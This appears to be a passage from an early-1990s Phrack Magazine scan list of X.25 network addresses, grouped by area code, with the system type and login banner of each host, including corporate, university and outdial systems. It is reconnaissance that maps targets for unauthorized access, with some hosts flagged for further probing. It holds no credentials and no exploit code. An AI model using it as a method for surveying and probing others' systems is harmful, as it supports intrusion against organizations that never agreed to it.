PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 414 20 $ outdial (414) 414 21 $ outdial (414) 414 36 * 414 46 $ Prime PRIMENET 22.1.4-SC1 SYSU 414 49 CONNECTED TO MMISC 414 60 User Name? (MGIC) 414 120 $ outdial (414) 414 165 USER ID 414 170 * 414 241 * 414 242 * 415 - California Scanned: [0 - 1500] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 415 5 $ outdial (415) 415 7 HP-3000 EXPECTED HELLO, :JOB, :DATA, OR (CMD) AS LOGON. 415 11 $ outdial (415) 415 20 Dialog Information Services 415 23 $ outdial (415) 415 27 Stanford Data Center (SYSA), Forsythe Hall. 415 29A Stanford University Hospital System (SUH/SYSC). 415 31 You are not authorized to connect to this system 415 35 (echo) 415 38 DTC04.LSI.NET 415 48 Dialog Information Services 415 49 Dialog Information Services 415 53B VAX/VMS Username: 415 54 USER ID 415 56 CONNECTED TO PACKET/74 415 68A VAX/VMS Username: 415 74 * 415 108 $ outdial (415) 415 109 $ outdial (415) 415 131 $ HP-3000 415 153 CONNECTED TO PACKET/94 415 165 * 415 167 Prime PRIMENET 22.1.3 VESTEK 415 168 Unix Vestek 415 174 * 415 175 Dialog Information Services 415 215 $ outdial (415) 415 216 $ outdial (415) 415 217 $ outdial (415) 415 224 $ outdial (414) 415 232 Unix pandora 415 234 $ Unix UNIX System V Release 1.0-92b011 AT&T MIServer-S 415 475 Prime PRIMENET 22.1.3.R21 CORP.1 415 476 * 415 569 DACS 415 1030 Prime 415 1052 * 415 1053 HP-3000 415 1057 $ VAX/VMS 415 1069 * 415 1252 * 415 1255 $ DTC ERROR: User not authorized 415 1262 $ ??? ??? 415 1268 TACL 1> 415 1269 TACL 1> 415 1356 * 415 1357 * 415 1600 USER ID 422 - Westinghouse Scanned: various ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 422 101.1 ENTER PASSWORD 422 104 DTC Type 'H' or '?' for HELP 422 105 CONNECTED TO PACKET/74 422 106 GS/1 FASD > 422 115 Westinghouse X.25 Network WCIS Gandalf pad 422115 422 122 422 123 VM/XA Westinghouse Corporate Computer Services 422 129 COMMTEX Cx-80 DATA EXCHANGE 422 131.1 annex tcc_inn> 422 131.2 > 422 131.3 422 131.4 Network Access DSU/CSU (menu driven need vt100) 422 131.5 uGn 422 131.6 422 131.7 MJgsonnesvev>3=9>722>?=3=>7/3=9>7?=????7 422 135.5 422 135.6 annex tcc_hub> 422 135.7 ** USER NOT LOGGED ON 422 135.10 ** USER NOT LOGGED ON 422 135.20 annex tcc_hub> 422 135.30 422 137.1 annex credit> 422 137.4 422 137.5 ??? < (try '?') 422 137.9 annex credit1> 422 138 Select Destination: 422 139 VM/XA Westinghouse Corporate Computer Services 422 150 422 154 422 165 422 166 422 167 422 168 422 169 422 180 WESTINGHOUSE SNA NETWORK - ENTER: L APPLNAME 422 181 WESTINGHOUSE SNA NETWORK - ENTER: L APPLNAME 422 183 MHP1201I TERMINAL CONNECTED TO PACKET/74 422 184 MHP1201I TERMINAL CONNECTED TO PACKET/74 422 185 MHP1201I TERMINAL CONNECTED TO PACKET/74 422 187 MHP1201I TERMINAL CONNECTED TO PACKET/74 422 237 422 240 422 244 WESPAC/ENTER PASSWORD 422 252 422 254.6 Westinghouse X.25 Network / Tech Control 422254 422 254.8 (drops to dos?) 422 255 VM/??? WESCO INFORMATION SYSTEMS 422 310 VAX/VMS 422 311 422 340 422 346 422 365 422 375 422 376 AOS Westinghouse Corporate Information Services 422 381 TACL 1> 422 390 422 401 AOS 422 405 AOS 422 409 AOS 422 410 AOS 422 412 AOS 422 413 AOS 422 416 AOS 422 424 AOS 422 431 AOS 422 440 AOS 422 443 AOS 422 450.2 RM > 422 450.3 CDS > 422 450.4 CDS > 422 450.5 (beep!) 422 450.6 CDS > 422 450.7 CDS > 422 450.8 RM > 422 450.9 CDS > 422 450.10 CDS > 422 450.11 CDS > 422 454 422 493 AOS 422 494 Westinghouse ESCC IBM C-80 System B Access 422 495 Westinghouse ESCC IBM C-80 System B Access 422 496 Westinghouse ESCC IBM C-80 System B Access 422 497 Westinghouse ESCC IBM C-80 System A Access 422 501 AOS 422 502 TSO pci protocol converter please logon pad 502 422 504.9 ESCC CCU PAD 504 - PLEASE ENTER PASSWORD 422 508 Westinghouse Power Generation World Headquarters 422 511 AOS 422 514 AOS 422 517 AOS 422 519 Westinghouse X.25 Network Lima, OH pad 422519 422 522 AOS 422 525 AOS 422 527 AOS Nuclear Saftey 422 535 AOS 422 539 AOS 422 541 AOS 422 544.2 RM > 422 545 AOS 422 547 VAX/VMS 422 555 AOS 422 558 Westinghouse X.25 Network Orrville, OH pad p558 422 559 AOS 422 571 AOS 422 577 AOS 422 609 AOS 422 601 Unix/SunOS 422 602 AOS 422 606 Carpenter Technology's Network 422 608 AOS 422 609 AOS 422 613 AOS 422 614 422 616 AOS 422 623 AOS 422 631 AOS 422 636 Wesmark System 422 637 AOS 422 645 AOS 422 649 AOS 422 651 AOS 422 656 Wesmark System 422 657 AOS 422 659 AOS 422 660 AOS 422 669 AOS 422 674 AOS 422 694 IBM 7171 Access please hit the ENTER key 422 695 Westinghouse ESCC IBM C-80 System G Access 422 696 Westinghouse ESCC IBM C-80 System F Access 422 697 Westinghouse ESCC IBM C-80 System E Access 422 698 Westinghouse ESCC IBM C-80 System D Access 422 702 (garbage) 422 999 WCCS Figures Service 422 1200.99 Username: 422 1205 ****POSSIBLE DATA LOSS 00 00**** 422 1207 password: 422 1208.1 Westinghouse X.25 Network BALTIMORE, MD. 422 1215 422 1305 AOS 422 1304.1 Westinghouse X.25 Network Ft. Payne, AL pad 1304a 422 1305 AOS 422 1312.1 Westinghouse X.25 Network Winston-Salem, NC pad 1312-1 422 1317 AOS 422 1319 422 1320 AOS 422 1322 AOS 422 1396 VAX/VMS 422 1398 VAX/VMS 422 1405 422 1420 VAX/VMS COFVIL - APTUS Coffeyville system 422 1512 Please enter service name > (use 'wespac') 422 1720 422 1719 422 1720 422 1722 (menu driven...) 422 1724 422 1759 (menu driven...) 422 1760 422 1791 422 1792 422 1793 422 1794 422 1840.2 Prime Primecom Network 19.4Q.111 System 47 422 1852 Knutsford PAD 1 422 1855 Stansted Delta PAD Operator: 422 1860.1 422 1862 422 1884.1 > 422 1890.1 London, UK PAD 4221890 422 1901.2 $ Westinghouse EURO.SWITCH.NETWORK - WNI -BRUSSEL 422 1907 $ WESPAC PAD 4 422 1917 $ WESPAC PAD 3 422 3101.1 Class of Service: 422 3201 AOS 422 3202 AOS 422 3203 AOS 422 3204 AOS 422 3208 422 3209 422 3210 422 3211 422 3212 422 3213 AOS 422 3214 SmartView NetWork Management System 422 3219 AOS 422 3221 AOS 422 3222 422 3223 422 3228 AOS 422 3230 422 3231 422 3233.1 422 3234 422 3235 AOS 422 3236 VISTA BATCH User ID? 422 3252 AOS 422 3253 AOS 422 3254 AOS 422 3255 AOS 422 3258 422 3259 422 3260 422 3261 422 3361 422 3362 422 3363 422 3401 TSO MIS Computer Centre 422 3403 Port Select MIS Computer Center 422 3503 VAX/VMS 422 3601 Westinghouse X.25 Network O' Hara Site pad 4223601 422 3602 VAX/VMS 422 3701 VAX/VMS 422 3703 CDCNET 2 systems: SN211=CRAY, NOSF=Cyber 422 3704 CDCNET 422 3705 CDCNET 422 3753 422 3804 422 3805 422 3806 422 3807 422 3842.1 Jones Day Washington Office 422 3860.2 Jones Day Pittsburgh Office 422 3902 enter class 422 3904 VAX/VMS 422 5021 422 5039 422 5037 connected 31104220503700/ 422 5043 422 5044 422 5052 VAX/VMS 422 5053 VAX/VMS 422 5060 422 5082 422 6002 422 6011 501 - Arkansas Scanned: [0 - 300] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 501 130 * 501 131 * 501 133 502 - Kentucky Scanned: [0 - 300] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 502 74 VAX/VMS Username: 502 75 VAX/VMS Username: 502 130 ??? B&W Corporate Computer System 502 136 CONNECTED TO PACKET/94 502 138 * 503 - Oregon Scanned: [0 - 500] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 503 20 $ outdial (503) 503 21 $ outdial (503) 503 33 Major BBS Public Data Network User-ID? new 503 120 $ outdial (503) 503 378 * 503 379 * 503 476 $ access barred 503 477 * 503 530 * 503 531 * 505 - New Mexico Scanned: [0 - 300] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 505 30 505 153 * 505 157 * 505 159 * 505 233 $ REQUESTED APPLICATION NOT DEFINED 509 - Washington Scanned: [0 - 300] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 509 232 $ 512 - Texas Scanned: [0 - 300] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 512 8 $ outdial (512) 512 55 * 512 63 * 512 65 * 512 136 AL /,/- (locks up) 512 138 * 512 140 AL /,/- (locks up) 512 151 * 512 152 * 512 153 * 512 253 * 512 257 Unix HP-UX ioi877 512 260 * 512 330 512 331 513 - Ohio Scanned: [0 - 300+] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 513 30 Lexis and Nexis 513 31 Port Selec MEADNET (hosts:lexis,tymnet,telenet,dialcom...) 513 32 $ $$ 5800 LOGIN SUCCESSFUL 513 37 $ Prime PRIMENET 23.3.0.r29 E03 513 55 $ Prime PRIMENET 22.1.4.R30 I01 513 57 $ Prime PRIMENET 23.3.0.r29 E04 513 58 $ VAX/VMS AEE040 is a MicroVAX 3900 513 66 * 513 67 $ Prime PRIMENET 23.3.0.r29 E01 513 68 * 513 69 * 513 72 $ Prime PRIMENET 22.1.4.R30 O1 513 73 $ Prime PRIMENET 22.1.4.R30 S2 513 75 $ Prime PRIMENET 22.1.4.R30 T01 513 77 $ Prime PRIMENET 23.3.0.r29 M01 513 78 $ Prime PRIMENET 22.1.4.R7 A02 513 79 $ Prime PRIMENET 22.1.4.R30 C2 513 80 Welcome To Develnet --CL2-- Request: 513 131 Lexis and Nexis 513 132 Lexis and Nexis 513 133 Lexis and Nexis 513 134 Lexis and Nexis 513 139 Lexis and Nexis (passthru 202365) 513 161 VAX/VMS AEE101 513 165 VAX/VMS AEE010 513 174 * 513 176 * 513 230 VAX/VMS Unison/Applied Software Designs, Inc. 513 234 $ VAX/VMS Continental PET Technologies, FLORENCE 513 236 * 513 240 * 515 - Iowa Scanned: [0 - 200] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 515 30 Lexis and Nexis 515 31 Lexis and Nexis 515 47 * 516 - New York Scanned: [0 - 300] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 516 14 $ outdial (516) 516 15 $ outdial (516) 516 35 CCI Multilink Services, (mail) 516 38 * 516 45 Hello 516 48.1 CUSTOMER ID: 516 49.1 CUSTOMER ID: 516 140 * 516 234 * 518 - New York Scanned:[0 - 300] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 518 30 MHP201A UPK12X01 APPLICATION: 518 36 MHP201A UPK12X01 APPLICATION: 518 230 MHP201A UPK12X01 APPLICATION: 518 231 MHP201A UPK12X01 APPLICATION: ----------------------------------- ==Phrack Magazine== Volume Four, Issue Forty-Two, File 10 of 14 602 - Arizona Scanned: [0 - 300] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 602 22 $ outdial? 602 23 $ outdial? 602 26 $ outdial (602) 602 35 $ MSG 1: COMMAND INVALID FROM PHTIB010 602 145 $ PSI Please enter our X.29 Password: 602 148 * 602 155.2 VAX/VMS This is DTAC02 - VAX/VMS V5.5 602 165 * 602 166 602 167 * 603 - New Hampshire Scanned: [0 - 300] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 603 20 $ Dartmouth College Time Sharing, D1 603 31 $ outdial 603 40 $ DTC01, IP 130.010.200.023 603 46 USER NUMBER-- 603 47 * 603 60 VAX/VMS 603 61 **** Invalid sign-on, please try again **** 603 62 **** Invalid sign-on, please try again **** 603 63 **** Invalid sign-on, please try again **** 603 68 603 135 VM/CMS ENTERPRISE SYSTEMS ARCHITECTURE--ESA370 603 136 VM/CMS ENTERPRISE SYSTEMS ARCHITECTURE--ESA370 603 142 * 609 - New Jersey Scanned: [0 - 500] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 609 41 WHAT SERVICE PLEASE???? 609 42 WHAT SERVICE PLEASE???? 609 46 WHAT SERVICE PLEASE???? 609 73 $ DTC DTC01.DOMAIN.ORGANIZATION 609 100 Prime 609 120 Prime 609 135 * 609 138 Prime PRIMENET 23.0.0 HCIONE 609 170 Prime 609 232 * 609 235 VAX/VMS TMA Information Services 609 238 * 609 239 * 609 242 WHAT SERVICE PLEASE???? 609 243 WHAT SERVICE PLEASE???? 609 244 WHAT SERVICE PLEASE???? 609 245 * 609 246 * 609 247 * 609 259 611 - unknown Scanned: various ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 611 20 611 21 611 25 ? (Transend?) 611 26 ? 611 27 ? 611 28 ? 611 50 SYSTEM AVAILABLE FOR YOUR USE 611 55 SYSTEM AVAILABLE FOR YOUR USE 611 90 VAX/VMS Username: 611 120 VAX/VMS Username: 611 192 Prime 611 193 Prime 611 194 Prime 611 195 Prime 611 230 VAX/VMS 611 231 VAX/VMS 611 232 VAX/VMS 611 233 VAX/VMS 611 234 AOS MHCOMET System A 611 235 AOS MHCOMET System B 611 236 AOS MHCOMET System C 611 238 AOS MHCOMET System D 612 - Minnesota Scanned: [0 - 1000] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 612 22 $ 612 23 Westlaw 612 37 Westlaw 612 52 $ Prime C> 612 56 Westlaw 612 57 Westlaw 612 58 Westlaw 612 78 * 612 79 * 612 120 * 612 121 * 612 134 * 612 135 * 612 138 * 612 158 Westlaw 612 171 * 612 236 612 240 GS/1 MSC X.25 Gateway 612 241 * 612 259 VAX/VMS System LPCOMB - VAX/VMS V5.5-1 612 260 $ CDCNET Control Data Arden Hills CDCNET Network **investigate** 612 270 Westlaw 612 271 Westlaw 612 272 Westlaw 612 273 Westlaw 612 277 Password > 612 279 Westlaw 612 353 ENTER ID (Westlaw) 612 362 Westlaw 612 363 Westlaw 612 364 Westlaw 612 365 Westlaw 612 366 Westlaw 612 367 Westlaw 612 368 Westlaw 612 369 Westlaw 612 385 Westlaw 612 391 Westlaw 612 393 Westlaw 612 395 Westlaw 612 395 Westlaw 612 455 * 612 456 612 457 * 612 458 * 612 460 * 612 461 * 612 462 * 612 1030 * 614 - Ohio Scanned: [0 - 300] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 614 21 STN International! Enter x: 614 22 $ outdial (614) 614 23 $ outdial (614) 614 31 STN International! Enter x: 614 32 STN International! Enter x: 614 34 STN International! Enter x: 614 36 * 614 65 Unix all attempts monitored and reported 614 140 STN International! Enter x: 614 145 614 148A 614 150A MHP201A LPKMN001 APPLICATION: 614 154A 614 155 User name? 614 156 CONNECTED TO PACKET/94 614 157 * 614 230 Port Selec? **investigate** 617 - Massachusetts Scanned: 0 - 1500 ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 617 20 Prime PRIMENET 23.3.0.R20 PBN27 617 22 Prime PRIMENET 22.0.0vA BDSD 617 26 $ outdial (617) 617 37 Prime PRIMENET 23.3.0.R20 BDSH 617 47 $ ENTER ACCESS PASSWORD: 617 48 VAX/VMS Username: 617 52 VAX/VMS Username: 617 56 $ BEDPS:SCCHRV 617 63 VM/CMS IRI 617 66 Prime PRIMENET 23.3.0.R20 BDSK 617 72 Prime IRI System 2 617 74 Prime PRIMENET 23.3.0 ENB 617 78 * 617 114 $ Prime PRIMENET 23.2.0.R48 MD.B 617 115 * 617 136 $ DTC DTCX25.BOS.WMC 617 147 * 617 149 VAX/VMS Newton Headend Node MicroVAX (NWTNH2) 617 158 Prime PRIMENET 23.2.0 BDSW 617 169 Prime PRIMENET 22.0.0vA PBN36 617 178 Enter Application Request 617 226 VM/CMS 617 230 * 617 234 Unix? b1cs3!Username: 617 235 VAX/VMS Username: 617 236 VAX/VMS Username: 617 237 Unix? b1cs3!Username: 617 250 ND X.29 Server - Press 'ESCAPE' to log in 617 255 Prime PRIMENET 22.0.3vA PBN43 617 257 $ HP-3000 617 270 $ VAX/VMS COSMOS (CO6408) 617 274 * 617 279 Unix SysV oa1cs1!x25 name: 617 304 Prime PRIMENET 23.3.0.R20 PBN67 617 306 Prime PRIMENET 23.2.0 PBN53 617 308 Prime PRIMENET 23.3.0.R20 PBN71 617 311 $ outdial (617) 617 313 $ outdial (617) 617 339 * 617 340 VAX/VMS FAXON 617 341 Password: 617 346 VOS STRATUS CUSTOMER ASSISTANCE CENTER 617 348 * 617 350 Prime PRIMENET 23.2.0 PBN39 617 351 Prime PRIMENET 22.0.0vA BDSU 617 373 VAX/VMS FAXON 617 379 ??? $$ 4200 MODEL: 617 380 Prime PRIMENET 22.1.4.R7 L01 617 381 Prime PRIMENET 22.1.4.R7 P01 617 382 Prime PRIMENET 22.1.4.R7 Y01 617 383 Prime PRIMENET 22.1.4.R30 H02 617 384 Prime PRIMENET 22.1.4.R7 V01 617 385 Prime PRIMENET 22.1.4.R30 R01 617 387 Prime PRIMENET 22.1.2.R22 B01 617 388 ??? $$ 4200 MODEL: 617 392 Prime PRIMENET 22.1.4.R30 R04 617 393 Prime PRIMENET 22.1.4.R7 Y04 617 397 U#= 617 453 Prime PRIMENET 22.0.3vA PBN35 617 454 Prime PRIMENET 23.2.0 NORTON 617 455 Prime PRIMENET 23.3.r29.wg NER 617 457 Prime PRIMENET 23.3.0 NNEB 617 458 Prime PRIMENET 23.2.0.R32 CENTNE 617 460 * 617 474 Prime PRIMENET 22.1.4 MD.FL1 617 490 Prime PRIMENET 23.3.0 ALBANY 617 491 Prime PRIMENET 23.2.0 CS 617 492 Prime PRIMENET 23.0.0 FRMDLE 617 493 Prime PRIMENET 23.0.0 STMFRD 617 498 Prime PRIMENET 23.2.0 CS2NYC 617 499 Prime PRIMENET 23.2.0.R32 SYRA 617 502 Prime PRIMENET 23.2.0 APPLE 617 516 Prime PRIMENET 23.2.0.R39 PBN38 617 518 Prime PRIMENET 23.2.0 PBN41 617 519 Prime PRIMENET 23.2.0.R39 PBN54 617 521 Prime PRIMENET 22.0.3vA BDSG 617 530 ??? Maxlink International 617 534 dynapac: multi-pad.25 617 541 Prime PRIMENET 22.0.3vA BDSS 617 543 Prime PRIMENET 22.0.3vA PBN33 617 551 Prime PRIMENET 22.0.4.R7 CSP-A 617 553 Prime PRIMENET 22.0.3vA BDSQ 617 555 Prime PRIMENET 23.2.0 PBN72 617 558 Prime PRIMENET 23.2.0.CSBETA2 CSSS.A 617 560 Prime PRIMENET 23.3.0.R20 BDSN 617 562 Prime PRIMENET 22.1.4 BDSZ 617 563 Prime LOGIN PLEASE (1) 617 564 Prime PRIMENET 22.0.3 MD.NE 617 575 Prime PRIMENET 22.1.2 MF.NP1 617 576 Prime PRIMENET 22.0.1 B09 617 577 Prime PRIMENET 22.1.1.R11 B30 617 578 Prime PRIMENET 23.2.0.R3 SDSYSA 617 583 Prime PRIMENET 22.0.2 MD.HFD 617 585 Prime PRIMENET 23.2.0.R32 EDWIN 617 586 Prime PRIMENET 23.2.0 BOSMET 617 588 * 617 589 * 617 590 * 617 593 Prime PRIMENET 23.3.Beta2 BDSO 617 597 Prime PRIMENET 22.0.3vA BDSB 617 641 AOS Timeplace Inc. 617 649 PaperChase 617 654 Prime IRI System 9 617 710 Prime PRIMENET 23.2.0 MD.ATL 617 712 Prime PRIMENET 23.3.0 PEANUT 617 713 Prime PRIMENET 23.3.0 PEACH 617 714 Prime PRIMENET 23.3.0 NASH 617 715 Peime PRIMENET 23.2.0 MD-BHM 617 717 Prime PRIMENET 23.1.0 ETHEL 617 719 Prime PRIMENET 22.1.1.R11 PHILLY 617 720 Prime PRIMENET 22.1.2 CAMPHI 617 723 Prime PRIMENET 23.3.0 MD.NJ 617 724 Prime PRIMENET 23.3.0 NYMCS 617 726 Prime PRIMENET 23.3.0 NJCENT 617 727 Prime PRIMENET 22.0.1v NJPCS 617 750 Prime PRIMENET 23.2.0 PBN75 617 752 Prime PRIMENET 23.2.0 PBN68 617 850 Prime PRIMENET 22.1.4 MD-CHI 617 852 Prime PRIMENET 23.3.0 CS-LP1 617 853 Prime PRIMENET 23.2.0 MD.SL1 617 854 Prime PRIMENET 23.2.0 MD.MKW 617 855 Prime PRIMENET 23.0.0 TRNGC 617 856 Prime PRIMENET 23.2.0 CS-CHI 617 857 Prime PRIMENET 22.1.0 CS-OAK 617 861 Prime PRIMENET 22.1.3 PTCDET 617 862 Prime PRIMENET 23.3.0 DRBN1 617 863 Prime PRIMENET 23.1.0 CSTROY 617 864 Prime PRIMENET 23.3.0 CS.DET 617 865 Prime PRIMENET 23.1.0 MD.DET 617 868 Prime PRIMENET 23.2.0 MD.GR 617 869 Prime PRIMENET 22.1.1.R11 MD.CIN 617 870 Prime PRIMENET 23.2.0 CS.IND 617 871 Prime PRIMENET 22.1.3 MD.IND 617 872 Prime PRIMENET 23.2.0 MD-PIT 617 874 Prime PRIMENET 22.1.0 PITTCS 617 875 Prime PRIMENET 22.1.1.r35 MD-CLE 617 902 Prime PRIMENET 22.1.1.R11 MD.HOU 617 908 Prime PRIMENET 23.2.0 WMCS 617 910 Prime PRIMENET 23.2.0 CSWDC 617 911 Prime PRIMENET 23.2.0 VIENNA 617 912 Prime PRIMENET 23.2.0 BALT 617 915 Prime PRIMENET 23.0.0 WDCRTS 617 916 Prime PRIMENET 23.0.0 CAP1 617 928 Prime PRIMENET 23.3.0 CS.HOU 617 930 Prime PRIMENET 23.3.0 MD.AUS 617 931 Prime PRIMENET 23.3.0 CS-SCR 617 932 Prime PRIMENET 23.2.0.SCH CS.CS 617 936 Prime PRIMENET 23.2.0 MD.DAL 617 956 Prime PRIMENET 22.1.0 RELAY 617 957 Prime PRIMENET 22.1.3 ZULE 617 958 Prime PRIMENET 23.1.0 EDOC1 617 962 Prime PRIMENET 23.3.0.R20 PBN49 617 965 Prime PRIMENET 22.0.3vA BDSE 617 966 Prime PRIMENET 22.0.3vA BDST 617 978 Unix 617 980 Prime PRIMENET 22.1.1.R28 WUFPAK 617 986 617 991 Prime PRIMENET 23.2.0 PBN64 617 995 Prime PRIMENET 23.2.0.R3 ATC54 617 998 Prime PRIMENET 23.0.0 TRNGB 617 1030 * 617 1031 * 617 1033 $ CONNECTED TO PACKET/94 617 1035 $ T.S.S.G 617 1054 $ Boston Safe Deposit and Trust Company 617 1055 HP-3000 617 1075 617 1099 Unix SysV X.29 Terminal Service 617 1202 Prime PRIMENET 22.0.2 CSPLAN 617 1204 Prime PRIMENET 23.2.0 PBN70 617 1206 Prime PRIMENET 23.2.0 PBN69 617 1207 Prime PRIMENET 23.2.0 PBN73 617 1210 Prime PRIMENET 23.2.0 PBN74 617 1211 Unix SysV 617 1231 Primetec Leasing 617 1235 Prime PRIMENET 23.2.0 PBN45 617 1260 dynapac: multi-pad.25 617 1261 dynapac: multi-pad.25 617 1262 dynapac: multi-pad.25 617 1263 dynapac: multi-pad.25 617 1264 dynapac: multi-pad.25 617 1266 dynapac: multi-pad.25 617 1267 dynapac: multi-pad.25 617 1300 VAX/VMS Username: 617 1301 VAX/VMS Username: 617 1302 **** Invalid sign-on, please try again **** 617 1303 VAX/VMS Username: 617 1304 **** Invalid sign-on, please try again **** 617 1305 **** Invalid sign-on, please try again **** 617 1306 **** Invalid sign-on, please try again **** 617 1307 **** Invalid sign-on, please try again **** 617 1320 VAX/VMS Username: 617 1321 **** Invalid sign-on, please try again **** 617 1322 **** Invalid sign-on, please try again **** 617 1323 **** Invalid sign-on, please try again **** 617 1324 **** Invalid sign-on, please try again **** 617 1331 * 617 1333 * 617 1334 * 617 1335 * 617 1336 * 617 1337 * 617 1338 * 617 1339 * 617 1340 * 617 1341 * 617 1350 * 617 1351 * 617 1355 * 617 1356 * 617 1365 VAX/VMS Username: 617 1368 ??? Username(First Name): 617 1371 VAX/VMS Username: 617 1379 * 617 1441 * 617 1442 * 617 1455 * 617 1456 * 619 - California Scanned: 0 - 300 ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 619 38 619 41 VM/CMS 619 51 * 619 234 $ VAX/VMS Hightower MicroVAX II (HIGHH1) 619 258 * 619 270 $ VAX/VMS Daniels Headend Node MicroVAX 3100-80 (DANLH1) 626 - unknown Scanned: [various] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 626 1000 $ Prime 626 1101 $ VAX/VMS DEV2 626 1110 $ VAX/VMS ANT1 626 1111 $ VAX/VMS ANT2 626 1120 $ VAX/VMS OAK1 626 1130 $ VAX/VMS SRA1 626 1131 $ VAX/VMS SRA2 626 1160 $ VAX/VMS SFD1 626 2000 $ Prime 669 - unknown Scanned: [various] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 669 25 $ USER ID 669 50 $ USER ID 669 75 $ USER ID 703 - Virginia Scanned: [0 - 300] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 703 40 VAX/VMS 703 41 VAX/VMS 703 44 AOS Project HOPE 703 55 * 703 56 * 703 57 SELECT A SERVICE: TSO WYLBUR CMS PCI 703 137 * 703 157 ZA60001 - COM-PLETE IS ACTIVE 703 160 VAX/VMS 708 - Illinois Scanned: [0 - 1000] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 708 34 USER ID 708 50 Please enter authorized ID: 708 54 $ VAX/VMS Duff & Phelps Corporate VAX 8350 (CO) 708 66 $ CONNECTED TO PACKET/74 708 70 VAX/VMS System LPCOMA 708 133 VAX/VMS 708 138 * 708 142 Enter user name: 708 146 * 708 152 ORBIT 708 153 ORBIT 708 154 ORBIT 708 155 ORBIT 708 156 ORBIT 708 157.4 Orbit PAD 708 157.5 Maxwell Onlines' File Transfer BBS 708 158 ncp02> enter system id (brs) 708 161 CONNECTED TO PACKET/94 708 171 Unix/SysV FTD BBS (Flowers..) 708 178 Unix/SysV FTD BBS 708 237 Prime PRIMENET 22.1.3 DZ-CHI 708 240 USER ID 708 241 USER ID 708 242 USER ID 708 243 USER ID 708 244 USER ID 708 245 USER ID 708 246 USER ID 708 247 USER ID 708 248 USER ID 708 249 USER ID 708 250 USER ID 708 251 USER ID 708 252 USER ID 708 253 USER ID 708 254 USER ID 708 260 ORBIT 708 261 ncp02> enter system id (brs) 708 272 $ DTC 'H' or '?' for help 708 278 * 708 340 ORBIT 708 341 ORBIT 708 343 ORBIT 708 346 ENTER APPLID: V=VTAM, A=APPLA, B-APPLB, C=APPLC 708 1030 ORBIT 708 1031 ORBIT 708 1032 ORBIT 708 1033 ORBIT 708 1034 ORBIT 711 - unknown Scanned: various ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 711 15 Prime 714 - California Scanned: 0 - 300 ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 714 4 $ outdial (714) 714 23 $ outdial (714) 714 24 $ outdial (714) 714 50 Unix atma_1 714 55 $ HP-3000 HP957.MIS.FUJITSU 714 102 $ ? \ 714 119 $ ? \ outdials? (barred to my pad) 714 121 $ ? / 714 124 $ ? / 714 130 $ MMSA --- ENTER APPLICATION ID : 714 131 Prime PRIMENET 22.1.2 CAJH 714 133 * 714 134 714 138 $ MMSA --- ENTER APPLICATION ID : 714 139 $ MMSA --- ENTER APPLICATION ID : 714 210 $ outdial (global) 714 213 $ ? 714 236 * 714 242 VM/CMS 714 250 * 716 - New York Scanned: [0 - 300] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 716 50 716 140 716 141 * 716 232 TSO Bausch and Lomb Data Center 716 233 TSO Bausch and Lomb Data Center 716 234 TSO B + L DATA CENTER SERVICES 716 235 TSO B + L DATA CENTER SERVICES 716 236 TSO B + L DATA CENTER SERVICES 716 237 TSO B + L DATA CENTER SERVICES 716 238 TSO B + L DATA CENTER SERVICES 716 239 TSO B + L DATA CENTER SERVICES 716 240 TSO B + L DATA CENTER SERVICES 716 241 TSO B + L DATA CENTER SERVICES 716 242 TSO B + L DATA CENTER 